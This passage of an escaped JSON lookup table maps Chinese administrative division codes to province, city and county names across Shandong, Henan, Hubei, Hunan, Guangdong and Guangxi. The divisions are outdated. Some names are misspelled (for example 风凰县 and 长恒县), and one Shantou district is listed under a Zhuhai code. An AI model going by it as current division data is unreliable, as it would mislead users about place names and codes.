市市辖区\",\"370802\":\"山东省济宁市市中区\",\"370811\":\"山东省济宁市任城区\",\"370826\":\"山东省微山县\",\"370827\":\"山东省鱼台县\",\"370828\":\"山东省金乡县\",\"370829\":\"山东省嘉祥县\",\"370830\":\"山东省汶上县\",\"370831\":\"山东省泗水县\",\"370832\":\"山东省梁山县\",\"370881\":\"山东省曲阜市\",\"370882\":\"山东省兖州市\",\"370883\":\"山东省邹城市\",\"3709\":\"山东省泰安市\",\"370901\":\"山东省泰安市市辖区\",\"370902\":\"山东省泰安市泰山区\",\"370911\":\"山东省泰安市郊区\",\"370921\":\"山东省宁阳县\",\"370923\":\"山东省东平县\",\"370982\":\"山东省新泰市\",\"370983\":\"山东省肥城市\",\"3710\":\"山东省威海市\",\"371001\":\"山东省威海市市辖区\",\"371002\":\"山东省威海市环翠区\",\"371081\":\"山东省文登市\",\"371082\":\"山东省荣城市\",\"371083\":\"山东省乳山市\",\"3711\":\"山东省日照市\",\"371101\":\"山东省日照市市辖区\",\"371102\":\"山东省日照市东港区\",\"371121\":\"山东省五莲县\",\"371122\":\"山东省莒县\",\"3712\":\"山东省莱芜市\",\"371201\":\"山东省莱芜市市辖区\",\"371202\":\"山东省莱芜市莱城区\",\"371203\":\"山东省莱芜市钢城区\",\"3723\":\"山东省滨州地区\",\"372301\":\"山东省滨州市\",\"372321\":\"山东省惠民县\",\"372323\":\"山东省阳信县\",\"372324\":\"山东省无棣县\",\"372325\":\"山东省沾化县\",\"372328\":\"山东省博兴县\",\"372330\":\"山东省邹平县\",\"3724\":\"山东省德州地区\",\"372401\":\"山东省德州市\",\"372402\":\"山东省乐陵市\",\"372403\":\"山东省禹城市\",\"372421\":\"山东省陵县\",\"372422\":\"山东省平原县\",\"372423\":\"山东省夏津县\",\"372424\":\"山东省武城县\",\"372425\":\"山东省齐河县\",\"372428\":\"山东省临邑县\",\"372431\":\"山东省宁津县\",\"372432\":\"山东省庆云县\",\"3725\":\"山东省聊城地区\",\"372501\":\"山东省聊城市\",\"372502\":\"山东省临清市\",\"372522\":\"山东省阳谷县\",\"372523\":\"山东省莘县\",\"372524\":\"山东省茌平县\",\"372525\":\"山东省东阿县\",\"372526\":\"山东省冠县\",\"372527\":\"山东省高唐县\",\"3728\":\"山东省临沂地区\",\"372801\":\"山东省临沂市\",\"372822\":\"山东省郯城县\",\"372823\":\"山东省苍山县\",\"372824\":\"山东省莒南县\",\"372827\":\"山东省沂水县\",\"372829\":\"山东省蒙阴县\",\"372830\":\"山东省平邑县\",\"372831\":\"山东省费县\",\"372832\":\"山东省沂南县\",\"372833\":\"山东省临沭县\",\"3729\":\"山东省菏泽地区\",\"372901\":\"山东省菏泽市\",\"372922\":\"山东省曹县\",\"372923\":\"山东省定陶县\",\"372924\":\"山东省成武县\",\"372925\":\"山东省单县\",\"372926\":\"山东省巨野县\",\"372928\":\"山东省郓城县\",\"372929\":\"山东省鄄城县\",\"372930\":\"山东省东明县\",\"41\":\"河南省\",\"4101\":\"河南省郑州市\",\"410101\":\"河南省郑州市市辖区\",\"410102\":\"河南省郑州市中原区\",\"410103\":\"河南省郑州市二七区\",\"410104\":\"河南省郑州市管城回族区\",\"410105\":\"河南省郑州市金水区\",\"410106\":\"河南省郑州市上街区\",\"410108\":\"河南省郑州市邙山区\",\"410121\":\"河南省荥阳县\",\"410122\":\"河南省中牟县\",\"410123\":\"河南省新郑县\",\"410125\":\"河南省登封县\",\"410126\":\"河南省密县\",\"410181\":\"河南省巩义市\",\"4102\":\"河南省开封市\",\"410201\":\"河南省开封市市辖区\",\"410202\":\"河南省开封市龙亭区\",\"410203\":\"河南省开封市顺河回族区\",\"410204\":\"河南省开封市鼓楼区\",\"410205\":\"河南省开封市南关区\",\"410211\":\"河南省开封市郊区\",\"410221\":\"河南省杞县\",\"410222\":\"河南省通许县\",\"410223\":\"河南省尉氏县\",\"410224\":\"河南省开封县\",\"410225\":\"河南省兰考县\",\"4103\":\"河南省洛阳市\",\"410301\":\"河南省洛阳市市辖区\",\"410302\":\"河南省洛阳市老城区\",\"410303\":\"河南省洛阳市西工区\",\"410304\":\"河南省洛阳市廛河回族区\",\"410305\":\"河南省洛阳市涧西区\",\"410306\":\"河南省洛阳市吉利区\",\"410311\":\"河南省洛阳市郊区\",\"410322\":\"河南省孟津县\",\"410323\":\"河南省新安县\",\"410324\":\"河南省栾川县\",\"410325\":\"河南省嵩县\",\"410326\":\"河南省汝阳县\",\"410327\":\"河南省宜阳县\",\"410328\":\"河南省洛宁县\",\"410329\":\"河南省伊川县\",\"410381\":\"河南省偃师市\",\"4104\":\"河南省平顶山市\",\"410401\":\"河南省平顶山市市辖区\",\"410402\":\"河南省平顶山市新华区\",\"410403\":\"河南省平顶山市卫东区\",\"410411\":\"河南省平顶山市郊区\",\"410421\":\"河南省宝丰县\",\"410422\":\"河南省叶县\",\"410423\":\"河南省鲁山县\",\"410425\":\"河南省郏县\",\"410426\":\"河南省襄城县\",\"410481\":\"河南省舞钢市\",\"410482\":\"河南省汝州市\",\"4105\":\"河南省安阳市\",\"410501\":\"河南省安阳市市辖区\",\"410502\":\"河南省安阳市文峰区\",\"410503\":\"河南省安阳市北关区\",\"410504\":\"河南省安阳市铁西区\",\"410511\":\"河南省安阳市郊区\",\"410521\":\"河南省林县\",\"410522\":\"河南省安阳县\",\"410523\":\"河南省汤阴县\",\"410526\":\"河南省滑县\",\"410527\":\"河南省内黄县\",\"4106\":\"河南省鹤壁市\",\"410601\":\"河南省鹤壁市市辖区\",\"410602\":\"河南省鹤壁市鹤山区\",\"410603\":\"河南省鹤壁市山城区\",\"410611\":\"河南省鹤壁市郊区\",\"410621\":\"河南省浚县\",\"410622\":\"河南省淇县\",\"4107\":\"河南省新乡市　　　　　　\",\"410701\":\"河南省新乡市市辖区\",\"410702\":\"河南省新乡市红旗区\",\"410703\":\"河南省新乡市新华区\",\"410704\":\"河南省新乡市北站区\",\"410711\":\"河南省新乡市郊区\",\"410721\":\"河南省新乡县\",\"410724\":\"河南省获嘉县\",\"410725\":\"河南省原阳县\",\"410726\":\"河南省延津县\",\"410727\":\"河南省封丘县\",\"410728\":\"河南省长恒县\",\"410781\":\"河南省卫辉市\",\"410782\":\"河南省辉县市\",\"4108\":\"河南省焦作市\",\"410801\":\"河南省焦作市市辖区\",\"410802\":\"河南省焦作市解放区\",\"410803\":\"河南省焦作市中站区\",\"410804\":\"河南省焦作市马村区\",\"410811\":\"河南省焦作市山阳区\",\"410821\":\"河南省修武县\",\"410822\":\"河南省博爱县\",\"410823\":\"河南省武陟县\",\"410825\":\"河南省温县\",\"410826\":\"河南省孟县\",\"410881\":\"河南省济源市\",\"410882\":\"河南省沁阳市\",\"4109\":\"河南省濮阳市\",\"410901\":\"河南省濮阳市市辖区\",\"410902\":\"河南省濮阳市市区\",\"410922\":\"河南省清丰县\",\"410923\":\"河南省南乐县\",\"410926\":\"河南省范县\",\"410927\":\"河南省台前县\",\"410928\":\"河南省濮阳县\",\"4110\":\"河南省许昌市\",\"411001\":\"河南省许昌市市辖区\",\"411002\":\"河南省许昌市魏都区\",\"411023\":\"河南省许昌县\",\"411024\":\"河南省鄢陵县\",\"411081\":\"河南省禹州市\",\"411082\":\"河南省长葛市\",\"4111\":\"河南省漯河市\",\"411101\":\"河南省漯河市市辖区\",\"411102\":\"河南省漯河市源仁区\",\"411121\":\"河南省舞阳县\",\"411122\":\"河南省临颖县\",\"411123\":\"河南省郾城县\",\"4112\":\"河南省三门峡市\",\"411201\":\"河南省三门峡市市辖区\",\"411202\":\"河南省三门峡市湖滨区\",\"411221\":\"河南省渑池县\",\"411222\":\"河南省陕县\",\"411224\":\"河南省卢氏县\",\"411281\":\"河南省义马市\",\"411282\":\"河南省灵宝市\",\"4123\":\"河南省商丘地区\",\"412301\":\"河南省商丘市\",\"412321\":\"河南省虞城县\",\"412322\":\"河南省商丘县\",\"412323\":\"河南省民权县\",\"412324\":\"河南省宁陵县\",\"412325\":\"河南省睢县\",\"412326\":\"河南省夏邑县\",\"412327\":\"河南省柘城县\",\"412328\":\"河南省永城县\",\"4127\":\"河南省周口地区\",\"412701\":\"河南省周口市\",\"412702\":\"河南省项城市\",\"412721\":\"河南省扶沟县\",\"412722\":\"河南省西华县\",\"412723\":\"河南省商水县\",\"412724\":\"河南省太康县\",\"412725\":\"河南省鹿邑县\",\"412726\":\"河南省郸城县\",\"412727\":\"河南省淮阳县\",\"412728\":\"河南省沈丘县\",\"4128\":\"河南省驻马店地区\",\"412801\":\"河南省驻马店市\",\"412821\":\"河南省确山县\",\"412822\":\"河南省泌阳县\",\"412823\":\"河南省遂平县\",\"412824\":\"河南省西平县\",\"412825\":\"河南省上蔡县\",\"412826\":\"河南省汝南县\",\"412827\":\"河南省平舆县\",\"412828\":\"河南省新蔡县\",\"412829\":\"河南省正阳县\",\"4129\":\"河南省南阳地区\",\"412901\":\"河南省南阳市\",\"412902\":\"河南省邓州市\",\"412921\":\"河南省南召县\",\"412922\":\"河南省方城县\",\"412923\":\"河南省西峡县\",\"412924\":\"河南省南阳县\",\"412925\":\"河南省镇平县\",\"412926\":\"河南省内乡县\",\"412927\":\"河南省淅川县\",\"412928\":\"河南省社旗县\",\"412929\":\"河南省唐河县\",\"412931\":\"河南省新野县\",\"412932\":\"河南省桐柏县\",\"4130\":\"河南省信阳地区\",\"413001\":\"河南省信阳市\",\"413021\":\"河南省息县\",\"413022\":\"河南省淮滨县\",\"413023\":\"河南省信阳县\",\"413024\":\"河南省横川县\",\"413025\":\"河南省光山县\",\"413026\":\"河南省固始县\",\"413027\":\"河南省商城县\",\"413028\":\"河南省罗山县\",\"413029\":\"河南省新县\",\"42\":\"湖北省\",\"4201\":\"湖北省武汉市\",\"420101\":\"湖北省武汉市市辖区\",\"420102\":\"湖北省武汉市江岸区\",\"420103\":\"湖北省武汉市江汉区\",\"420104\":\"湖北省武汉市乔口区\",\"420105\":\"湖北省武汉市汉阳区\",\"420106\":\"湖北省武汉市武昌区\",\"420107\":\"湖北省武汉市青山区\",\"420111\":\"湖北省武汉市洪山区\",\"420112\":\"湖北省武汉市东西湖区\",\"420113\":\"湖北省武汉市汉南区\",\"420114\":\"湖北省蔡甸区\",\"420122\":\"湖北省武昌县\",\"420123\":\"湖北省黄陂县\",\"420124\":\"湖北省新洲县\",\"4202\":\"湖北省黄石市\",\"420201\":\"湖北省黄石市市辖区\",\"420202\":\"湖北省黄石市黄石港区\",\"420203\":\"湖北省黄石市石灰窑区\",\"420204\":\"湖北省黄石市下陆区\",\"420205\":\"湖北省黄石市铁山区\",\"420221\":\"湖北省大冶县\",\"4203\":\"湖北省十堰市\",\"420301\":\"湖北省十堰市市辖区\",\"420302\":\"湖北省十堰市茅箭区\",\"420303\":\"湖北省十堰市张湾区\",\"4204\":\"湖北省沙市市\",\"420400\":\"湖北省沙市市\",\"4205\":\"湖北省宜昌市\",\"420501\":\"湖北省宜昌市市辖区\",\"420502\":\"湖北省宜昌市西陵区\",\"420503\":\"湖北省宜昌市伍家岗区\",\"420504\":\"湖北省宜昌市点军区\",\"420521\":\"湖北省宜昌县\",\"420523\":\"湖北省枝江县\",\"420525\":\"湖北省远安县\",\"420526\":\"湖北省兴山县\",\"420527\":\"湖北省秭归县\",\"420528\":\"湖北省长阳土家族自治县\",\"420529\":\"湖北省五峰土家族自治县\",\"420581\":\"湖北省枝城市\",\"420582\":\"湖北省当阳市\",\"4206\":\"湖北省襄樊市\",\"420601\":\"湖北省襄樊市市辖区\",\"420602\":\"湖北省襄樊市襄城区\",\"420603\":\"湖北省襄樊市樊东区\",\"420604\":\"湖北省襄樊市樊西区\",\"420605\":\"湖北省襄樊市郊区\",\"420621\":\"湖北省襄阳县\",\"420623\":\"湖北省宜城县\",\"420624\":\"湖北省南漳县\",\"420625\":\"湖北省谷城县\",\"420626\":\"湖北省保康县\",\"420681\":\"湖北省随州市\",\"420682\":\"湖北省老河口市\",\"420683\":\"湖北省枣阳市\",\"4207\":\"湖北省鄂州市\",\"420701\":\"湖北省鄂州市市辖区\",\"420702\":\"湖北省鄂州市梁子湖区\",\"420703\":\"湖北省鄂州市谷容区\",\"420704\":\"湖北省鄂州市鄂城区\",\"4208\":\"湖北省荆门市\",\"420801\":\"湖北省荆门市市辖区\",\"420802\":\"湖北省荆门市东宝区\",\"420803\":\"湖北省荆门市沙洋区\",\"4209\":\"湖北省孝感市\",\"420901\":\"湖北省孝感市市辖区\",\"420902\":\"湖北省孝感市孝南区\",\"420903\":\"湖北省孝感市孝昌区\",\"420922\":\"湖北省大悟县\",\"420923\":\"湖北省云梦县\",\"420924\":\"湖北省汉川县\",\"420981\":\"湖北省应城市\",\"420982\":\"湖北省安陆市\",\"420983\":\"湖北省广水市\",\"4221\":\"湖北省黄冈地区\",\"422101\":\"湖北省麻城市\",\"422102\":\"湖北省武穴市　　　　　　\",\"422103\":\"湖北省黄州市\",\"422123\":\"湖北省红安县\",\"422125\":\"湖北省罗田县\",\"422126\":\"湖北省英山县\",\"422127\":\"湖北省浠水县\",\"422128\":\"湖北省蕲春县\",\"422130\":\"湖北省黄梅县\",\"4223\":\"湖北省咸宁地区\",\"422301\":\"湖北省咸宁市\",\"422302\":\"湖北省蒲圻市\",\"422322\":\"湖北省嘉鱼县\",\"422324\":\"湖北省通城县\",\"422325\":\"湖北省崇阳县\",\"422326\":\"湖北省通山县\",\"422327\":\"湖北省阳新县\",\"4224\":\"湖北省荆州地区\",\"422401\":\"湖北省仙桃市\",\"422402\":\"湖北省石首市\",\"422403\":\"湖北省洪湖市\",\"422404\":\"湖北省天门市\",\"422405\":\"湖北省潜江市\",\"422406\":\"湖北省钟祥市\",\"422421\":\"湖北省江陵县\",\"422422\":\"湖北省松滋县\",\"422423\":\"湖北省公安县\",\"422425\":\"湖北省监利县\",\"422432\":\"湖北省京山县\",\"4226\":\"湖北省郧阳地区\",\"422601\":\"湖北省丹江口市\",\"422622\":\"湖北省郧县\",\"422623\":\"湖北省郧西县\",\"422624\":\"湖北省竹山县\",\"422625\":\"湖北省竹溪县\",\"422626\":\"湖北省房县\",\"4228\":\"湖北省恩施土家族苗族自治州\",\"422801\":\"湖北省恩施市\",\"422802\":\"湖北省利川市\",\"422822\":\"湖北省建始县\",\"422823\":\"湖北省巴东县\",\"422825\":\"湖北省宣恩县\",\"422826\":\"湖北省咸丰县\",\"422827\":\"湖北省来凤县\",\"422828\":\"湖北省鹤峰县\",\"4229\":\"湖北省省直辖行政单位\",\"422921\":\"湖北省神农架林区\",\"43\":\"湖南省\",\"4301\":\"湖南省长沙市\",\"430101\":\"湖南省长沙市市辖区\",\"430102\":\"湖南省长沙市东区\",\"430103\":\"湖南省长沙市南区\",\"430104\":\"湖南省长沙市西区\",\"430105\":\"湖南省长沙市北区\",\"430111\":\"湖南省长沙市郊区\",\"430121\":\"湖南省长沙县　　\",\"430122\":\"湖南省望城县\",\"430124\":\"湖南省宁乡县\",\"430181\":\"湖南省浏阳市\",\"4302\":\"湖南省株洲市\",\"430201\":\"湖南省株洲市市辖区\",\"430202\":\"湖南省株洲市东区\",\"430203\":\"湖南省株洲市北区\",\"430204\":\"湖南省株洲市南区\",\"430211\":\"湖南省株洲市郊区\",\"430221\":\"湖南省株洲县\",\"430223\":\"湖南省攸县\",\"430224\":\"湖南省茶陵县\",\"430225\":\"湖南省酃县\",\"430281\":\"湖南省醴陵市\",\"4303\":\"湖南省湘潭市\",\"430301\":\"湖南省湘潭市市辖区\",\"430302\":\"湖南省湘潭市雨湖区\",\"430304\":\"湖南省湘潭市岳塘区\",\"430321\":\"湖南省湘潭县\",\"430381\":\"湖南省湘乡市\",\"430382\":\"湖南省韶山市\",\"4304\":\"湖南省衡阳市\",\"430401\":\"湖南省衡阳市市辖区\",\"430402\":\"湖南省衡阳市江东区\",\"430403\":\"湖南省衡阳市城南区\",\"430404\":\"湖南省衡阳市城北区\",\"430411\":\"湖南省衡阳市郊区\",\"430412\":\"湖南省衡阳市南岳区\",\"430421\":\"湖南省衡阳县\",\"430422\":\"湖南省衡南县\",\"430423\":\"湖南省衡山县\",\"430424\":\"湖南省衡东县\",\"430425\":\"湖南省常宁县\",\"430426\":\"湖南省祁东县\",\"430481\":\"湖南省耒阳市\",\"4305\":\"湖南省邵阳市\",\"430501\":\"湖南省邵阳市市辖区\",\"430502\":\"湖南省邵阳市东区\",\"430503\":\"湖南省邵阳市西区\",\"430511\":\"湖南省邵阳市郊区\",\"430521\":\"湖南省邵东县\",\"430522\":\"湖南省新邵县\",\"430523\":\"湖南省邵阳县\",\"430524\":\"湖南省隆回县\",\"430525\":\"湖南省洞口县\",\"430526\":\"湖南省武冈县\",\"430527\":\"湖南省绥宁县\",\"430528\":\"湖南省新宁县\",\"430529\":\"湖南省城步苗族自治县\",\"4306\":\"湖南省岳阳市\",\"430601\":\"湖南省岳阳市市辖区\",\"430602\":\"湖南省岳阳市南区\",\"430603\":\"湖南省岳阳市北区\",\"430611\":\"湖南省岳阳市郊区\",\"430621\":\"湖南省岳阳县\",\"430623\":\"湖南省华容县\",\"430624\":\"湖南省湘阴县\",\"430626\":\"湖南省平江县\",\"430681\":\"湖南省汨罗市\",\"430682\":\"湖南省临湘市\",\"4307\":\"湖南省常德市\",\"430701\":\"湖南省常德市市辖区\",\"430702\":\"湖南省常德市武陵区\",\"430703\":\"湖南省常德市鼎城区\",\"430721\":\"湖南省安乡县\",\"430722\":\"湖南省汉寿县\",\"430723\":\"湖南省澧县\",\"430724\":\"湖南省临澧县\",\"430725\":\"湖南省桃源县\",\"430726\":\"湖南省石门县\",\"430781\":\"湖南省津市市\",\"4308\":\"湖南省大庸市\",\"430801\":\"湖南省大庸市市辖区\",\"430802\":\"湖南省大庸市永定区\",\"430811\":\"湖南省大庸市武陵源区\",\"430821\":\"湖南省慈利县\",\"430822\":\"湖南省桑植县\",\"4323\":\"湖南省益阳地区\",\"432301\":\"湖南省益阳市\",\"432302\":\"湖南省沅江市\",\"432321\":\"湖南省益阳县\",\"432322\":\"湖南省南县\",\"432325\":\"湖南省桃江县\",\"432326\":\"湖南省安化县\",\"4325\":\"湖南省娄底地区\",\"432501\":\"湖南省娄底市\",\"432502\":\"湖南省冷水江市\",\"432503\":\"湖南省涟源市\",\"432522\":\"湖南省双峰县\",\"432524\":\"湖南省新化县\",\"4328\":\"湖南省郴州地区\",\"432801\":\"湖南省郴州市\",\"432802\":\"湖南省资兴市\",\"432821\":\"湖南省郴县\",\"432822\":\"湖南省桂阳县\",\"432823\":\"湖南省永兴县\",\"432824\":\"湖南省宜章县\",\"432826\":\"湖南省嘉禾县\",\"432827\":\"湖南省临武县\",\"432828\":\"湖南省汝城县\",\"432829\":\"湖南省桂东县\",\"432831\":\"湖南省安仁县\",\"4329\":\"湖南省零陵地区\",\"432901\":\"湖南省永州市\",\"432902\":\"湖南省冷水滩市\",\"432922\":\"湖南省东安县\",\"432923\":\"湖南省道县\",\"432924\":\"湖南省宁远县\",\"432925\":\"湖南省江永县\",\"432926\":\"湖南省江华瑶族自治县\",\"432927\":\"湖南省蓝山县\",\"432928\":\"湖南省新田县　\",\"432929\":\"湖南省双牌县\",\"432930\":\"湖南省祁阳县\",\"4330\":\"湖南省怀化地区\",\"433001\":\"湖南省怀化市\",\"433002\":\"湖南省洪江市\",\"433021\":\"湖南省黔阳县\",\"433022\":\"湖南省沅陵县\",\"433023\":\"湖南省辰溪县\",\"433024\":\"湖南省溆浦县\",\"433025\":\"湖南省麻阳苗族自治县\",\"433026\":\"湖南省新晃侗族自治县\",\"433027\":\"湖南省芷江侗族自治县\",\"433029\":\"湖南省会同县\",\"433030\":\"湖南省靖州苗族侗族自治县\",\"433031\":\"湖南省通道侗族自治县\",\"4331\":\"湖南省湘西土家族苗族自治州\",\"433101\":\"湖南省吉首市\",\"433122\":\"湖南省泸溪县\",\"433123\":\"湖南省风凰县\",\"433124\":\"湖南省花垣县\",\"433125\":\"湖南省保靖县\",\"433126\":\"湖南省古丈县\",\"433127\":\"湖南省永顺县\",\"433130\":\"湖南省龙山县\",\"44\":\"广东省\",\"4401\":\"广东省广州市\",\"440101\":\"广东省广州市市辖区\",\"440102\":\"广东省广州市东山区\",\"440103\":\"广东省广州市荔湾区\",\"440104\":\"广东省广州市越秀区\",\"440105\":\"广东省广州市海珠区\",\"440106\":\"广东省广州市天河区\",\"440107\":\"广东省广州市芳村区\",\"440111\":\"广东省广州市白云区\",\"440112\":\"广东省广州市黄埔区\",\"440122\":\"广东省从花县\",\"440181\":\"广东省番禺市\",\"440182\":\"广东省花都市\",\"440183\":\"广东省增城市\",\"4402\":\"广东省韶关市\",\"440201\":\"广东省韶关市市辖区\",\"440202\":\"广东省韶关市北江区\",\"440203\":\"广东省韶关市武江区\",\"440204\":\"广东省韶关市浈江区\",\"440221\":\"广东省曲江县\",\"440222\":\"广东省始兴县\",\"440223\":\"广东省南雄县\",\"440224\":\"广东省仁化县\",\"440225\":\"广东省乐昌县\",\"440229\":\"广东省翁源县\",\"440232\":\"广东省乳源瑶族自治县\",\"440233\":\"广东省新丰县\",\"4403\":\"广东省深圳市\",\"440301\":\"广东省深圳市市辖区\",\"440303\":\"广东省深圳市罗湖区\",\"440304\":\"广东省深圳市福田区\",\"440305\":\"广东省深圳市南山区\",\"440306\":\"广东省深圳市宝安区\",\"440307\":\"广东省深圳市龙岗区\",\"4404\":\"广东省珠海市\",\"440401\":\"广东省珠海市市辖区\",\"440402\":\"广东省珠海市香州区\",\"440407\":\"广东省汕头市龙湖区\",\"440421\":\"广东省斗门县\",\"4405\":\"广东省汕头市\",\"440501\":\"广东省汕头市市辖区\",\"440506\":\"广东省汕头市达濠区\",\"440508\":\"广东省汕头市金园区\",\"440509\":\"广东省汕头市升平区\",\"440521\":\"广东省澄海县\",\"440523\":\"广东省南懊县\",\"440582\":\"广东省潮阳市\",\"4406\":\"广东省佛山市\",\"440601\":\"广东省佛山市市辖区\",\"440602\":\"广东省佛山市城区\",\"440603\":\"广东省佛山市石湾区\",\"440624\":\"广东省高明县\",\"440681\":\"广东省顺德市\",\"440682\":\"广东省南海市\",\"440683\":\"广东省三水市\",\"4407\":\"广东省江门市\",\"440701\":\"广东省江门市市辖区\",\"440702\":\"广东省江门市城区\",\"440711\":\"广东省江门市郊区\",\"440723\":\"广东省恩平县\",\"440781\":\"广东省台山市\",\"440782\":\"广东省新会市\",\"440783\":\"广东省开平市\",\"440784\":\"广东省鹤山市\",\"4408\":\"广东省湛江市\",\"440801\":\"广东省湛江市市辖区\",\"440802\":\"广东省湛江市赤坎区\",\"440803\":\"广东省湛江市霞山区\",\"440804\":\"广东省湛江市坡头区\",\"440811\":\"广东省湛江市郊区\",\"440821\":\"广东省吴川县\",\"440823\":\"广东省遂溪县\",\"440824\":\"广东省海康县\",\"440825\":\"广东省徐闻县\",\"440881\":\"广东省廉江市\",\"4409\":\"广东省茂名市\",\"440901\":\"广东省茂名市市辖区\",\"440902\":\"广东省茂名市茂南区\",\"440921\":\"广东省信宜县\",\"440923\":\"广东省电白县\",\"440924\":\"广东省化州县\",\"440981\":\"广东省高州市\",\"4412\":\"广东省肇庆市\",\"441201\":\"广东省肇庆市市辖区\",\"441202\":\"广东省肇庆市端州区\",\"441203\":\"广东省肇庆市鼎湖区\",\"441223\":\"广东省广宁县\",\"441224\":\"广东省怀集县\",\"441225\":\"广东省封开县\",\"441226\":\"广东省德庆县\",\"441228\":\"广东省新兴县\",\"441229\":\"广东省郁南县\",\"441281\":\"广东省云浮市\",\"441282\":\"广东省罗定市\",\"441283\":\"广东省高要市\",\"441284\":\"广东省四会市\",\"4413\":\"广东省惠州市\",\"441301\":\"广东省惠州市市辖区\",\"441302\":\"广东省惠州市惠城区\",\"441321\":\"广东省惠阳县\",\"441322\":\"广东省博罗县\",\"441323\":\"广东省惠东县\",\"441324\":\"广东省龙门县\",\"4414\":\"广东省梅州市\",\"441401\":\"广东省梅州市市辖区\",\"441402\":\"广东省梅州市梅江区\",\"441421\":\"广东省梅县\",\"441422\":\"广东省大埔县\",\"441423\":\"广东省丰顺县\",\"441424\":\"广东省五华县\",\"441425\":\"广东省兴宁县\",\"441426\":\"广东省平远县\",\"441427\":\"广东省蕉岭县\",\"4415\":\"广东省汕尾市\",\"441501\":\"广东省汕尾市市辖区\",\"441502\":\"广东省汕尾市城区\",\"441521\":\"广东省海丰县\",\"441522\":\"广东省陆丰县\",\"441523\":\"广东省陆河县\",\"4416\":\"广东省河源市\",\"441601\":\"广东省河源市市辖区\",\"441602\":\"广东省河源市源城区\",\"441621\":\"广东省紫金县\",\"441622\":\"广东省龙川县\",\"441623\":\"广东省连平县\",\"441624\":\"广东省和平县\",\"441625\":\"广东省东源县\",\"4417\":\"广东省阳江市\",\"441701\":\"广东省阳江市市辖区\",\"441702\":\"广东省阳江市江城区\",\"441721\":\"广东省阳西县\",\"441722\":\"广东省阳春县\",\"441723\":\"广东省阳东县\",\"4418\":\"广东省清远市\",\"441801\":\"广东省清远市市辖区\",\"441802\":\"广东省清远市清城区\",\"441821\":\"广东省佛冈县\",\"441822\":\"广东省英德县\",\"441823\":\"广东省阳山县\",\"441824\":\"广东省连县\",\"441825\":\"广东省连山壮族瑶族自治县\",\"441826\":\"广东省连南瑶族自治县\",\"441827\":\"广东省清新县\",\"4419\":\"广东省东莞市\",\"441900\":\"广东省东莞市\",\"4420\":\"广东省中山市\",\"442000\":\"广东省中山市\",\"4451\":\"广东省潮州市\",\"445101\":\"广东省潮州市市辖区\",\"445102\":\"广东省潮州市湘桥区\",\"445121\":\"广东省潮州市潮安县\",\"445122\":\"广东省饶平县\",\"4452\":\"广东省揭阳市\",\"445201\":\"广东省揭阳市市辖区\",\"445202\":\"广东省揭阳市榕城区\",\"445221\":\"广东省揭东县\",\"445222\":\"广东省揭西县\",\"445224\":\"广东省惠来县\",\"445281\":\"广东省普宁县\",\"45\":\"广西\",\"4501\":\"广西南宁市\",\"450101\":\"广西南宁市市辖区\",\"450102\":\"广西南宁市兴宁区\",\"450103\":\"广西南宁市新城区\",\"450104\":\"广西南宁市城北区\",\"450105\":\"广西南宁市江南区\",\"450106\":\"广西南宁市永新区\",\"450111\":\"广西南宁市市郊区\",\"450121\":\"广西邕宁县\",\"450122\":\"广西武鸣县\",\"4502\":\"广西柳州市\",\"450201\":\"广西柳州市市辖区\",\"450202\":\"广西柳州市城中区\",\"450203\":\"广西柳州市鱼峰区\",\"450204\":\"广西柳州市柳南区\",\"450205\":\"广西柳州市柳北区\",\"450211\":\"广西柳州市市郊区\",\"450221\":\"广西柳江县\",\"450222\":\"广西柳城县\",\"4503\":\"广西桂林市\",\"450301\":\"广西桂林市市辖区\",\"450302\":\"广西桂林市秀峰区\",\"450303\":\"广西桂林市叠彩区\",\"450304\":\"广西桂林市象山区\",\"450305\":\"广西桂林市七星区\",\"450311\":\"广西桂林市市郊区\",\"450321\":\"广西阳朔县\",\"450322\":\"广西临桂县\",\"4504\":\"广西梧州市\",\"450401\":\"广西梧州市市辖区\",\"450403\":\"广西梧州市万秀区\",\"450404\":\"广西梧州市蝶山区\",\"450411\":\"广西梧州市市郊区\",\"450421\":\"广西苍梧县\",\"4505\":\"广西北海市　\",\"450501\":\"广西北海市市辖区\",\"450502\":\"广西北海市海城区\",\"450511\":\"广西北海市市郊区\",\"450521\":\"广西合浦县\",\"4506\":\"广西防城港市\",\"450601\":\"广西防城港市市辖区\",\"450602\":\"广西防城港市港口区\",\"450603\":\"广西防城港市防城区\",\"450621\":\"广西上思县\",\"4521\":\"广西南宁地区\",\"452101\":\"广西凭祥市\",\"452122\":\"广西横县\",\"452123\":\"广西宾阳县\",\"452124\":\"广西上林县\",\"452126\":\"广西隆安县\",\"452127\":\"广西马山县\",\"452128\":\"广西扶绥县\",\"452129\":\"广西崇左县\",\"452130\":\"广西大新县\",\"452131\":\"广西天等县\",\"452132\":\"广西宁明县\",\"452133\":\"广西龙州县\",\"4522\":\"广西柳州地区\",\"452201\":\"广西合山市\",\"452223\":\"广西鹿寨县\",\"452224\":\"广西象州县\",\"452225\":\"广西武宣县\",\"452226\":\"广西来宾县\",\"452227\":\"广西融安县\",\"452228\":\"广西三江侗族自治县\",\"452229\":\"广西融水苗族自治县\",\"452230\":\"广西金秀瑶族自治县\",\"452231\":\"广西忻城县\",\"4523\":\"广西桂林地区\",\"452322\":\"广西灵川县\",\"452323\":\"广西全州县\",\"452324\":\"广西兴安县\",\"452325\":\"广西永福县\",\"452327\":\"广西灌阳县\",\"452328\":\"广西龙胜各族自治县\",\"452329\":\"广西资源县\",\"452330\":\"广西平乐县\",\"452331\":\"广西荔浦县\",\"452332\":\"广西恭城瑶族自治县\",\"4524\":\"广西梧州地区\",\"452421\":\"广西岑溪县\",\"452423\":\"广西藤县\",\"452424\":\"广西昭平县\",\"452425\":\"广西蒙山县\",\"452426\":\"广西贺县\",\"452427\":\"广西钟山县\",\"452428\":\"广西富川瑶族自治县\",\"4525\":\"广西玉林地区\",\"452501\":\"广西玉林市\",\"452502\":\"广西贵港市\",\"452523\":\"广西桂平县\",\"452524\":\"广西平南县\",\"452525\":\"广西容县\",\"452526\":\"广西北流县\",\"452527\":\"广西陆川县\",\"452528\":\"广西博白县\",\"4526\":\"广西百色地区\",\"452601\":\"广西百色市\",\"452622\":\"广西田阳县\",\"452623\":\"广西田东县\",\"452624\":\"广西平果县\",\"452625\":\"广西德保县\",\"452626\":\"广西靖西县\",\"452627\":\"广西那坡县\",\"452628\":\"广西凌云县\",\"452629\":\"广西乐业县\",\"452630\":\"广西田林县\",\"452631\":\"广西隆林各族自治县\",\"452632\":\"广西西林县\",\"4527\":\"广西河池地区\",\"452701\":\"广西河池市\",\"452702\":\"广西宜州市\",\"452723\":\"广西罗城仫佬族自治县\",\"